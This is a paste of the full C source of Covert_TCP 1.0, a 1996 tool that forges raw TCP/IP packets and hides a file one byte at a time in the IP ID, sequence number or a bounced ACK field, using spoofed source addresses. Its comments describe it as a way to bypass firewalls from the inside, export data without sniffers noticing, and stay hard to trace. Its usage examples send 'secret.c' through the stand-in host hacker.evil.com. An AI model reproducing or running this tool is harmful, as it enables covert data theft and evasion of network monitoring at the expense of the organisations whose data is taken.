- /* Covert_TCP 1.0 - Covert channel file transfer for Linux
- * Written by Craig H. Rowland (crowland@psionic.com)
- * Copyright Craig H. Rowland
- * NOT FOR COMMERCIAL USE WITHOUT PERMISSION.
- *
- *
- * This program manipulates the TCP/IP header to transfer a file one byte
- * at a time to a destination host. This progam can act as a server and a client
- * and can be used to conceal transmission of data inside the IP header.
- * This is useful for bypassing firewalls from the inside, and for
- * exporting data with innocuous looking packets that contain no data for
- * sniffers to analyze. In other words, spy stuff... :)
- *
- * PLEASE see the enclosed paper for more information!!
- *
- * This software should be used at your own risk.
- *
- * compile: cc -o covert_tcp covert_tcp.c
- *
- *
- *
- * Portions of this code based on ping.c (c) Regents of the
- * University of California. (See function in_cksm() for details)
- *
- * Small portions from various packet utilities by unknown authors
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <signal.h>
- #include <string.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <linux/ip.h>
- #include <linux/tcp.h>
- #define VERSION "1.0"
- /* Prototypes */
- void forgepacket(unsigned int, unsigned int, unsigned short, unsigned
- short,char *,int,int,int,int);
- unsigned short in_cksum(unsigned short *, int);
- unsigned int host_convert(char *);
- void usage(char *);
- main(int argc, char **argv)
- {
- unsigned int source_host=0,dest_host=0;
- unsigned short source_port=0,dest_port=80;
- int ipid=0,seq=0,ack=0,server=0,file=0;
- int count;
- char desthost[80],srchost[80],filename[80];
- /* Title */
- printf("Covert TCP %s (c)1996 Craig H. Rowland (crowland@psionic.com)\n",VERSION);
- printf("Not for commercial use without permission.\n");
- /* Can they run this? */
- if(geteuid() !=0)
- {
- printf("\nYou need to be root to run this.\n\n");
- exit(0);
- }
- /* Tell them how to use this thing */
- if((argc < 6) || (argc > 13))
- {
- usage(argv[0]);
- exit(0);
- }
- /* No error checking on the args...next version :) */
- for(count=0; count < argc; ++count)
- {
- if (strcmp(argv[count],"-dest") == 0)
- {
- dest_host=host_convert(argv[count+1]);
- strncpy(desthost,argv[count+1],79);
- }
- else if (strcmp(argv[count],"-source") == 0)
- {
- source_host=host_convert(argv[count+1]);
- strncpy(srchost,argv[count+1],79);
- }
- else if (strcmp(argv[count],"-file") == 0)
- {
- strncpy(filename,argv[count+1],79);
- file=1;
- }
- else if (strcmp(argv[count],"-source_port") == 0)
- source_port=atoi(argv[count+1]);
- else if (strcmp(argv[count],"-dest_port") == 0)
- dest_port=atoi(argv[count+1]);
- else if (strcmp(argv[count],"-ipid") == 0)
- ipid=1;
- else if (strcmp(argv[count],"-seq") == 0)
- seq=1;
- else if (strcmp(argv[count],"-ack") == 0)
- ack=1;
- else if (strcmp(argv[count],"-server") == 0)
- server=1;
- }
- /* check the encoding flags */
- if(ipid+seq+ack == 0)
- ipid=1; /* set default encode type if none given */
- else if (ipid+seq+ack !=1)
- {
- printf("\n\nOnly one encoding/decode flag (-ipid -seq -ack) can be used at a time.\n\n");
- exit(1);
- }
- /* Did they give us a filename? */
- if(file != 1)
- {
- printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
- exit(1);
- }
- if(server==0) /* if they want to be a client do this... */
- {
- if (source_host == 0 && dest_host == 0)
- {
- printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
- exit(1);
- }
- else if (ack == 1)
- {
- printf("\n\n-ack decoding can only be used in SERVER mode (-server)\n\n");
- exit(1);
- }
- else
- {
- printf("Destination Host: %s\n",desthost);
- printf("Source Host : %s\n",srchost);
- if(source_port == 0)
- printf("Originating Port: random\n");
- else
- printf("Originating Port: %u\n",source_port);
- printf("Destination Port: %u\n",dest_port);
- printf("Encoded Filename: %s\n",filename);
- if(ipid == 1)
- printf("Encoding Type : IP ID\n");
- else if(seq == 1)
- printf("Encoding Type : IP Sequence Number\n");
- printf("\nClient Mode: Sending data.\n\n");
- }
- }
- else /* server mode it is */
- {
- if (source_host == 0 && source_port == 0)
- {
- printf("You need to supply a source address and/or source port for server mode.\n");
- exit(1);
- }
- if(dest_host == 0) /* if not host given, listen for anything.. */
- strcpy(desthost,"Any Host");
- if(source_host == 0)
- strcpy(srchost,"Any Host");
- printf("Listening for data from IP: %s\n",srchost);
- if(source_port == 0)
- printf("Listening for data bound for local port: Any Port\n");
- else
- printf("Listening for data bound for local port: %u\n",source_port);
- printf("Decoded Filename: %s\n",filename);
- if(ipid == 1)
- printf("Decoding Type Is: IP packet ID\n");
- else if(seq == 1)
- printf("Decoding Type Is: IP Sequence Number\n");
- else if(ack == 1)
- printf("Decoding Type Is: IP ACK field bounced packet.\n");
- printf("\nServer Mode: Listening for data.\n\n");
- }
- /* Do the dirty work */
- forgepacket(source_host, dest_host, source_port, dest_port
- ,filename,server,ipid,seq,ack);
- exit(0);
- }
- void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned
- short source_port, unsigned short dest_port, char *filename, int server, int ipid
- , int seq, int ack)
- {
- struct send_tcp
- {
- struct iphdr ip;
- struct tcphdr tcp;
- } send_tcp;
- struct recv_tcp
- {
- struct iphdr ip;
- struct tcphdr tcp;
- char buffer[10000];
- } recv_pkt;
- /* From synhose.c by knight */
- struct pseudo_header
- {
- unsigned int source_address;
- unsigned int dest_address;
- unsigned char placeholder;
- unsigned char protocol;
- unsigned short tcp_length;
- struct tcphdr tcp;
- } pseudo_header;
- int ch;
- int send_socket;
- int recv_socket;
- struct sockaddr_in sin;
- FILE *input;
- FILE *output;
- /* Initialize RNG for future use */
- srand((getpid())*(dest_port));
- /**********************/
- /* Client code */
- /**********************/
- /* are we the client? */
- if(server==0)
- {
- if((input=fopen(filename,"rb"))== NULL)
- {
- printf("I cannot open the file %s for reading\n",filename);
- exit(1);
- }
- else while((ch=fgetc(input)) !=EOF)
- {
- /* Delay loop. This really slows things down, but is necessary to ensure */
- /* semi-reliable transport of messages over the Internet and will not flood */
- /* slow network connections */
- /* A better should probably be developed */
- sleep(1);
- /* NOTE: I am not using the proper byte order functions to initialize */
- /* some of these values (htons(), htonl(), etc.) and this will certainly */
- /* cause problems on other architectures. I didn't like doing a direct */
- /* translation of ASCII into the variables because this looked really */
- /* suspicious seeing packets with sequence numbers of 0-255 all the time */
- /* so I just read them in raw and let the function mangle them to fit its */
- /* needs... CHR */
- /* Make the IP header with our forged information */
- send_tcp.ip.ihl = 5;
- send_tcp.ip.version = 4;
- send_tcp.ip.tos = 0;
- send_tcp.ip.tot_len = htons(40);
- /* if we are NOT doing IP ID header encoding, randomize the value */
- /* of the IP identification field */
- if (ipid == 0)
- send_tcp.ip.id =(int)(255.0*rand()/(RAND_MAX+1.0));
- else /* otherwise we "encode" it with our cheesy algorithm */
- send_tcp.ip.id =ch;
- send_tcp.ip.frag_off = 0;
- send_tcp.ip.ttl = 64;
- send_tcp.ip.protocol = IPPROTO_TCP;
- send_tcp.ip.check = 0;
- send_tcp.ip.saddr = source_addr;
- send_tcp.ip.daddr = dest_addr;
- /* begin forged TCP header */
- if(source_port == 0) /* if the didn't supply a source port, we make one */
- send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
- else /* otherwise use the one given */
- send_tcp.tcp.source = htons(source_port);
- if(seq==0) /* if we are not encoding the value into the seq number */
- send_tcp.tcp.seq = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
- else /* otherwise we'll hide the data using our cheesy algorithm one more time.
- */
- send_tcp.tcp.seq = ch;
- /* forge destination port */
- send_tcp.tcp.dest = htons(dest_port);
- /* the rest of the flags */
- /* NOTE: Other covert channels can use the following flags to encode data a
- BIT */
- /* at a time. A good example would be the use of the PSH flag setting to either
- */
- /* on or off and having the remote side decode the bytes accordingly... CHR */
- send_tcp.tcp.ack_seq = 0;
- send_tcp.tcp.res1 = 0;
- send_tcp.tcp.doff = 5;
- send_tcp.tcp.fin = 0;
- send_tcp.tcp.syn = 1;
- send_tcp.tcp.rst = 0;
- send_tcp.tcp.psh = 0;
- send_tcp.tcp.ack = 0;
- send_tcp.tcp.urg = 0;
- // send_tcp.tcp.res2 = 0;
- send_tcp.tcp.window = htons(512);
- send_tcp.tcp.check = 0;
- send_tcp.tcp.urg_ptr = 0;
- /* Drop our forged data into the socket struct */
- sin.sin_family = AF_INET;
- sin.sin_port = send_tcp.tcp.source;
- sin.sin_addr.s_addr = send_tcp.ip.daddr;
- /* Now open the raw socket for sending */
- send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
- if(send_socket < 0)
- {
- perror("send socket cannot be open. Are you root?");
- exit(1);
- }
- /* Make IP header checksum */
- send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
- /* Final preparation of the full header */
- /* From synhose.c by knight */
- pseudo_header.source_address = send_tcp.ip.saddr;
- pseudo_header.dest_address = send_tcp.ip.daddr;
- pseudo_header.placeholder = 0;
- pseudo_header.protocol = IPPROTO_TCP;
- pseudo_header.tcp_length = htons(20);
- bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
- /* Final checksum on the entire package */
- send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
- /* Away we go.... */
- sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
- printf("Sending Data: %c\n",ch);
- close(send_socket);
- } /* end while(fgetc()) loop */
- fclose(input);
- }/* end if(server == 0) loop */
- /***********************/
- /* Passive server code */
- /***********************/
- /* we are the server so now we listen */
- else
- {
- if((output=fopen(filename,"wb"))== NULL)
- {
- printf("I cannot open the file %s for writing\n",filename);
- exit(1);
- }
- /* Now we read the socket. This is not terribly fast at this time, and has the same
- */
- /* reliability as UDP as we do not ACK the packets for retries if they are bad. */
- /* This is just proof of concept... CHR*/
- while(1) /* read packet loop */
- {
- /* Open socket for reading */
- recv_socket = socket(AF_INET, SOCK_RAW, 6);
- if(recv_socket < 0)
- {
- perror("receive socket cannot be open. Are you root?");
- exit(1);
- }
- /* Listen for return packet on a passive socket */
- read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
- /* if the packet has the SYN/ACK flag set and is from the right
- address..*/
- if (source_port == 0) /* the user does not care what port we come from
- */
- { /* check for SYN/ACK flag set and correct inbound IP source
- address */
- if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr ==
- source_addr))
- {
- /* IP ID header "decoding" */
- /* The ID number is converted from it's ASCII equivalent back to
- normal */
- if(ipid==1)
- {
- printf("Receiving Data: %c\n",recv_pkt.ip.id);
- fprintf(output,"%c",recv_pkt.ip.id);
- fflush(output);
- }
- /* IP Sequence number "decoding" */
- else if (seq==1)
- {
- printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
- fprintf(output,"%c",recv_pkt.tcp.seq);
- fflush(output);
- }
- /* Use a bounced packet from a remote server to decode the data */
- /* This technique requires that the client initiates a SEND to */
- /* a remote host with a SPOOFED source IP that is the location */
- /* of the listening server. The remote server will receive the packet */
- /* and will initiate an ACK of the packet with the encoded sequence */
- /* number+1 back to the SPOOFED source. The covert server is waiting at this */
- /* spoofed address and can decode the ack field to retrieve the data */
- /* this enables an "anonymous" packet transfer that can bounce */
- /* off any site. This is VERY hard to trace back to the originating */
- /* source. This is pretty nasty as far as covert channels go... */
- /* Some routers may not allow you to spoof an address outbound */
- /* that is not on their network, so it may not work at all sites... */
- /* SENDER should use covert_tcp with the -seq flag and a forged -source */
- /* address. RECEIVER should use the -server -ack flags with the IP of */
- /* of the server the bounced message will appear from.. CHR */
- /* The bounced ACK sequence number is really the original sequence*/
- /* plus one (ISN+1). However, the translation here drops some of the */
- /* bits so we get the original ASCII value...go figure.. */
- else if (ack==1)
- {
- printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
- fprintf(output,"%c",recv_pkt.tcp.ack_seq);
- fflush(output);
- }
- } /* end if loop to check for ID/sequence decode */
- } /* End if loop checking for port number given */
- /* if the packet has the SYN/ACK flag set and is destined to the right port..*/
- /* we'll grab it regardless if IP addresses. This is useful for bouncing off of */
- /* multiple hosts to a single server address */
- else
- {
- if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) ==
- source_port))
- {
- /* IP ID header "decoding" */
- /* The ID number is converted from it's ASCII equivalent back
- to normal */
- if(ipid==1)
- {
- printf("Receiving Data: %c\n",recv_pkt.ip.id);
- fprintf(output,"%c",recv_pkt.ip.id);
- fflush(output);
- }
- /* IP Sequence number "decoding" */
- else if (seq==1)
- {
- printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
- fprintf(output,"%c",recv_pkt.tcp.seq);
- fflush(output);
- }
- /* Do the bounce decode again... */
- else if (ack==1)
- {
- printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
- fprintf(output,"%c",recv_pkt.tcp.ack_seq);
- fflush(output);
- }
- } /* end if loop to check for source port decoding */
- } /* end else loop to see if port number given to listen on */
- close(recv_socket); /* close the socket so we don't hose the kernel */
- }/* end while() read packet loop */
- fclose(output);
- } /* end else(serverloop) function */
- } /* end forgepacket() function */
- /* clipped from ping.c (this function is the whore of checksum routines */
- /* as everyone seems to use it..I feel so dirty...) */
- /* Copyright (c)1987 Regents of the University of California.
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms are permitted
- * provided that the above copyright notice and this paragraph are
- * dupliated in all such forms and that any documentation, advertising
- * materials, and other materials related to such distribution and use
- * acknowledge that the software was developed by the University of
- * California, Berkeley. The name of the University may not be used
- * to endorse or promote products derived from this software without
- * specific prior written permission. THIS SOFTWARE IS PROVIDED ``AS
- * IS'' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
- * WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHATIBILITY AND
- * FITNESS FOR A PARTICULAR PURPOSE
- */
- unsigned short in_cksum(unsigned short *ptr, int nbytes)
- {
- register long sum; /* assumes long == 32 bits
- */
- u_short oddbyte;
- register u_short answer; /* assumes u_short == 16 bits */
- /*
- * Our algorithm is simple, using a 32-bit accumulator (sum),
- * we add sequential 16-bit words to it, and at the end, fold back
- * all the carry bits from the top 16 bits into the lower 16 bits.
- */
- sum = 0;
- while (nbytes > 1) {
- sum += *ptr++;
- nbytes -= 2;
- }
- /* mop up an odd byte, if necessary */
- if (nbytes == 1) {
- oddbyte = 0; /* make sure top half is zero */
- *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
- sum += oddbyte;
- }
- /*
- * Add back carry outs from top 16 bits to low 16 bits.
- */
- sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
- sum += (sum >> 16); /* add carry */
- answer = ~sum; /* ones-complement, then truncate to 16 bits
- */
- return(answer);
- } /* end in_cksm()
- /* Generic resolver from unknown source */
- unsigned int host_convert(char *hostname)
- {
- static struct in_addr i;
- struct hostent *h;
- i.s_addr = inet_addr(hostname);
- if(i.s_addr == -1)
- {
- h = gethostbyname(hostname);
- if(h == NULL)
- {
- fprintf(stderr, "cannot resolve %s\n", hostname);
- exit(0);
- }
- bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
- }
- return i.s_addr;
- } /* end resolver */
- /* Tell them how to use this */
- void usage(char *progname)
- {
- printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file filename -source_port port -dest_port port -server [encode type]\n\n",
- progname);
- printf("-dest dest_ip - Host to send data to.\n");
- printf("-source source_ip - Host where you want the data to originate from.\n");
- printf(" In SERVER mode this is the host data will\n");
- printf(" be coming FROM.\n");
- printf("-source_port port - IP source port you want data to appear from. \n");
- printf(" (randomly set by default)\n");
- printf("-dest_port port - IP source port you want data to go to. In\n");
- printf(" SERVER mode this is the port data will be coming\n");
- printf(" inbound on. Port 80 by default.\n");
- printf("-file filename - Name of the file to encode and transfer.\n");
- printf("-server - Passive mode to allow receiving of data.\n");
- printf("[Encode Type] - Optional encoding type\n");
- printf("-ipid - Encode data a byte at a time in the IP packet ID. [DEFAULT]\n");
- printf("-seq - Encode data a byte at a time in the packet sequence number.\n");
- printf("-ack - DECODE data a byte at a time from the ACK field.\n");
- printf(" This ONLY works from server mode and is made to decode\n");
- printf(" covert channel packets that have been bounced off a remote\n");
- printf(" server using -seq. See documentation for details\n");
- printf("\nPress ENTER for examples.");
- getchar();
- printf("\nExample: \ncovert_tcp -dest foo.bar.com -source hacker.evil.com - source_port 1234 -dest_port 80 -file secret.c\n\n"); printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
- printf("at a time using the default IP packet ID encoding.\n");
- printf("\nExample: \ncovert_tcp -dest foo.bar.com -source hacker.evil.com - dest_port 80 -server -file secret.c\n\n");
- printf("Above listens passively for packets from hacker.evil.com\n");
- printf("destined for port 80. It takes the data and saves the file locally\n");
- printf("as secret.c\n\n");
- exit(0);
- } /* end usage() */
Raw Paste